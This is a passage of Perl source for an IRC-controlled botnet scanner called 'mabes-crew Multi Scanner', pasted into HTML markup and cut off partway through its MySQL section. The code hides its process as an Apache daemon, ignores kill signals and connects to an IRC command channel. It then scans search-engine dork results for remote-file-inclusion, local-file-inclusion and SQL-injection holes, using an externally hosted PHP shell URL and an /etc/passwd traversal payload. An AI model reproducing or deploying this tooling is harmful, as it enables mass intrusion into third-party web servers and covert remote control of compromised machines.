<div id="_mcePaste"></div>
<div>#!/usr/bin/perl</div>
<div id="_mcePaste">############################################</div>
<div id="_mcePaste"># mabes-crew Multi Scanner v5.1               #</div>
<div id="_mcePaste"># Coded by Vrs-hCk                         #</div>
<div id="_mcePaste"># d00r[at]telkom[dot]net                   #</div>
<div id="_mcePaste"># Copyleft ? 2009 mabes-crew UnderGrounD      #</div>
<div id="_mcePaste">############################################</div>
<div id="_mcePaste"># perl mabes-crew.txt help me !!!             #</div>
<div id="_mcePaste">############################################</div>
<div id="_mcePaste">use HTTP::Request;</div>
<div id="_mcePaste">use LWP::UserAgent;</div>
<div id="_mcePaste">use IO::Socket;</div>
<div id="_mcePaste">use IO::Select;</div>
<div id="_mcePaste">use Socket;</div>
<div id="_mcePaste" style="padding-left:30px;">my $fakeproc  = "/usr/local/apache/bin/httpd -DSSL";</div>
<div id="_mcePaste">$ircserver    = "irc.byroe.net";</div>
<div id="_mcePaste">my $ircport   = "6667";</div>
<div id="_mcePaste">my $nickname  = "[Hunter]";</div>
<div id="_mcePaste">my $ident     = "b4tt054y";</div>
<div id="_mcePaste">my $channel   = "#Mabes-crew";</div>
<div id="_mcePaste">my $runner    = "b4tt054y";</div>
<div id="_mcePaste">my $fullname  = '15(7@2 b4tt054y-Multi-Scanner15)';</div>
<!--more-->
<div id="_mcePaste">my $injector  = "http://www.dwno.or.kr//bbs/data/wiwon02/xerxers.txt??";</div>
<div id="_mcePaste">my $phpshell  = "http://www.dwno.or.kr//bbs/data/wiwon02/xerxers.txt??";</div>
<div id="_mcePaste">my $rficmd    = '!rfi';</div>
<div id="_mcePaste">my $lficmd    = '!lfi';</div>
<div id="_mcePaste">my $mysqlcmd  = '!mysql';</div>
<div id="_mcePaste">my $mssqlcmd  = '!mssql';</div>
<div id="_mcePaste">my $alicmd    = '!log';</div>
<div id="_mcePaste">$rfi_result   = "v0pCr3w";</div>
<div id="_mcePaste">$lfi_test     = "../../../../../../../../../../../../../../../etc/passwd%00";</div>
<div id="_mcePaste">$lfi_output   = "root:(.+):(.+):(.+):(.+):(.+):(.+)";</div>
<div id="_mcePaste">$sql_test     = "'";</div>
<div id="_mcePaste">$mysql_output = ("Query failed|Query Error|right syntax to use near");</div>
<div id="_mcePaste">$mssql_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation");</div>
<div id="_mcePaste">my $success   = "\n [+] mabes-crew Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $\n";</div>
<div id="_mcePaste">print $success;</div>
<div id="_mcePaste">$SIG{'INT'}   = 'IGNORE';</div>
<div id="_mcePaste">$SIG{'HUP'}   = 'IGNORE';</div>
<div id="_mcePaste">$SIG{'TERM'}  = 'IGNORE';</div>
<div id="_mcePaste">$SIG{'CHLD'}  = 'IGNORE';</div>
<div id="_mcePaste">$SIG{'PS'}    = 'IGNORE';</div>
<div id="_mcePaste">chdir("/");</div>
<div id="_mcePaste">$ircserver="$ARGV[0]" if $ARGV[0];</div>
<div id="_mcePaste">$0 = "$fakeproc".""x16;;</div>
<div id="_mcePaste">my $pid = fork;</div>
<div id="_mcePaste">exit if $pid;</div>
<div id="_mcePaste">die "\n [!] Something Wrong !!!: $!" unless defined($pid);</div>
<div id="_mcePaste">our %irc_servers;</div>
<div id="_mcePaste">our %DCC;</div>
<div id="_mcePaste">my $dcc_sel = new IO::Select-&gt;new();</div>
<div id="_mcePaste">$sel_client = IO::Select-&gt;new();</div>
<div id="_mcePaste">sub sendraw {</div>
<div id="_mcePaste">if ($#_ == '1') {</div>
<div id="_mcePaste">my $socket = $_[0];</div>
<div id="_mcePaste">print $socket "$_[1]\n";</div>
<div id="_mcePaste">} else {</div>
<div id="_mcePaste">print $IRC_cur_socket "$_[0]\n";</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub connector {</div>
<div id="_mcePaste">my $mynick = $_[0];</div>
<div id="_mcePaste">my $ircserver_con = $_[1];</div>
<div id="_mcePaste">my $ircport_con = $_[2];</div>
<div id="_mcePaste">my $IRC_socket = IO::Socket::INET-&gt;new(Proto=&gt;"tcp", PeerAddr=&gt;"$ircserver_con", PeerPort=&gt;$ircport_con) or return(1);</div>
<div id="_mcePaste">if (defined($IRC_socket)) {</div>
<div id="_mcePaste">$IRC_cur_socket = $IRC_socket;</div>
<div id="_mcePaste">$IRC_socket-&gt;autoflush(1);</div>
<div id="_mcePaste">$sel_client-&gt;add($IRC_socket);</div>
<div id="_mcePaste">$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";</div>
<div id="_mcePaste">$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";</div>
<div id="_mcePaste">$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;</div>
<div id="_mcePaste">$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket-&gt;sockhost;</div>
<div id="_mcePaste">nick("$mynick");</div>
<div id="_mcePaste">sendraw("USER $ident ".$IRC_socket-&gt;sockhost." $ircserver_con :$fullname");</div>
<div id="_mcePaste">sleep 1;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">sub parse {</div>
<div id="_mcePaste">my $servarg = shift;</div>
<div id="_mcePaste">if ($servarg =~ /^PING \:(.*)/) {</div>
<div id="_mcePaste">sendraw("PONG :$1");</div>
<div id="_mcePaste">} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {</div>
<div id="_mcePaste">my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;</div>
<div id="_mcePaste">if ($args =~ /^01VERSION01$/) {</div>
<div id="_mcePaste">notice("$pn", "01VERSION mIRC v6.17 Khaled Mardam-Bey01");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {</div>
<div id="_mcePaste">my $natrix = $1;</div>
<div id="_mcePaste">my $arg = $2;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {</div>
<div id="_mcePaste">if (lc($1) eq lc($mynick)) {</div>
<div id="_mcePaste">$mynick=$4;</div>
<div id="_mcePaste">$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {</div>
<div id="_mcePaste">nick("$mynick|".int rand(999));</div>
<div id="_mcePaste">} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {</div>
<div id="_mcePaste">$mynick = $2;</div>
<div id="_mcePaste">$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;</div>
<div id="_mcePaste">$irc_servers{$IRC_cur_socket}{'nome'} = "$1";</div>
<div id="_mcePaste">sendraw("MODE $nickname +Bx");</div>
<div id="_mcePaste">sendraw("JOIN $channel");</div>
<div id="_mcePaste">sendraw("PRIVMSG $channel :mabes-crew UnderGround");</div>
<div id="_mcePaste">sendraw("PRIVMSG $runner :Hi $runner im here !!!");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">my $line_temp;</div>
<div id="_mcePaste">while( 1 ) {</div>
<div id="_mcePaste">while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }</div>
<div id="_mcePaste">delete($irc_servers{''}) if (defined($irc_servers{''}));</div>
<div id="_mcePaste">my @ready = $sel_client-&gt;can_read(0);</div>
<div id="_mcePaste">next unless(@ready);</div>
<div id="_mcePaste">foreach $fh (@ready) {</div>
<div id="_mcePaste">$IRC_cur_socket = $fh;</div>
<div id="_mcePaste">$mynick = $irc_servers{$IRC_cur_socket}{'nick'};</div>
<div id="_mcePaste">$nread = sysread($fh, $msg, 4096);</div>
<div id="_mcePaste">if ($nread == 0) {</div>
<div id="_mcePaste">$sel_client-&gt;remove($fh);</div>
<div id="_mcePaste">$fh-&gt;close;</div>
<div id="_mcePaste">delete($irc_servers{$fh});</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">@lines = split (/\n/, $msg);</div>
<div id="_mcePaste">$msg =~ s/\r\n$//;</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">############################[ CMD LIST ]#############################</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :!help/){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 $rficmd &lt;bug&gt; &lt;dork&gt; | $lficmd &lt;bug&gt; &lt;dork&gt; ");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 $mysqlcmd / $mssqlcmd &lt;bug&gt; &lt;dork&gt; ");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 Apache Log Injection : $alicmd &lt;host&gt; &lt;port&gt; ");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 8,4 !id | !engine | !pid | !version | !about ");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :!id/){</div>
<div id="_mcePaste">&amp;response();</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :!version/){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Version15)12 mabes-crew Multi Scanner v5.1");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :!engine/){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Engine15)12 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo.");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :!pid/){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :!about/){</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 mabes-crew Multi Scanner v5.1");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Coded by Vrs-hCk - MainHack BrotherHood ");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Copyleft ? 2010 mabes-crew UnderGrounD");</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">###############################[ RFI ]###############################</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">##################################################################### Google Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "GooGLe";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2mabes-crew15)12 Dork :4 $d0rk");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2mabes-crew15)12 File :4 $bugx");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2mabes-crew15)7 Search Engine Loading ...");</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### AllTheWeb Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "AllTheWeb";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Bing Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "Bing";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Altavista Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "ALtaViSTa";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### ASK Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "AsK";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### UoL Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "UoL";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### LyCos Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "LyCos";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### GoodSearch Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "GoodSearch";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Yahoo Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "YahOo";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;rfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">###############################[ LFI ]###############################</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">##################################################################### Google Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "GooGLe";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2mabes-crew15)12 Dork :4 $d0rk");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2mabes-crew15)12 File :4 $bugx");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2mabes-crew15)7 Search Engine Loading ...");</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### AllTheWeb Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "AllTheWeb";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Bing Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "Bing";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Altavista Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "ALtaViSTa";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### ASK Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "AsK";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### UoL Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "UoL";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### LyCos Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "LyCos";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### GoodSearch Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "GoodSearch";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Yahoo Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "YahOo";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;lfiscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">##############################[ MySQL ]##############################</div>
<div id="_mcePaste">#####################################################################</div>
<div id="_mcePaste">##################################################################### Google Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "GooGLe";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)12 Dork :4 $d0rk");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)12 File :4 $bugx");</div>
<div id="_mcePaste">sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2mabes-crew15)7 Search Engine Loading ...");</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### AllTheWeb Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "AllTheWeb";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Bing Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "Bing";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### Altavista Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "ALtaViSTa";</div>
<div id="_mcePaste">my $bugx = $1;</div>
<div id="_mcePaste">my $d0rk = $2;</div>
<div id="_mcePaste">&amp;mysqlscan($engx,$bugx,$d0rk);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">exit;</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">##################################################################### ASK Engine</div>
<div id="_mcePaste">if ($msg=~ /PRIVMSG $channel :$mysqlcmd\s+(.*?)\s+(.*)/ ) {</div>
<div id="_mcePaste">if (my $pid = fork) {</div>
<div id="_mcePaste">waitpid($pid, 0);</div>
<div id="_mcePaste">}</div>
<div id="_mcePaste">else {</div>
<div id="_mcePaste">if (fork) {	exit; } else {</div>
<div id="_mcePaste">my $engx = "AsK";</div>
